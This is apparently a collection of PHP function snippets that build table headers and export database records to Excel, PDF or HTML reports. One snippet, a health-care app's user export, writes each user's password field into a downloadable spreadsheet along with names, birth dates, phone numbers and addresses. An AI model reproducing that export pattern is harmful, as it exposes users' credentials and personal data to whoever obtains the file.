$data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "function Assessors_Inscription_Assessors_Table_Titles($datas,$frienddatas,$submissiondatas)\n {\n return\n array_merge\n (\n array($this->B(\"No\")),\n $this->FriendsObj()->MyMod_Data_Titles($frienddatas),\n $this->SubmissionsObj()->MyMod_Data_Titles($submissiondatas),\n $this->MyMod_Data_Titles($datas),\n array(\"\")\n );\n }", "public static function get_edit_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('sequence', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('prevpage', 'mod_simplelesson');\n $headerdata[] = get_string('nextpage', 'mod_simplelesson');\n $headerdata[] = get_string('hasquestion', 'mod_simplelesson');\n $headerdata[] = get_string('actions', 'mod_simplelesson');\n\n return $headerdata;\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "private function get_csv_header($questions){\n $columns = array_map(function($question){\n return $question->question;\n },$questions);\n\n return $columns;\n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "function horizon_skills_section() {\n\t\tget_template_part('inc/partials/homepage', 'skills');\n\t}", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "abstract protected function getRowsHeader(): array;", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "private function getSkills() {\n\t\t$html ='';\n\t\tforeach ($this->_xml->ecole as $branch) {\n\t\t\t$html .= '<div id=\"'.$branch['id'].'\" class=\"tal_invisible\">';\n\t\t\t$html .= $this->getActive($branch);\n\t\t\t$html .= $this->getPassive($branch);\n\t\t\t$html .= '</div>';\n\t\t}\n\n\t\treturn $html;\n\t}", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' 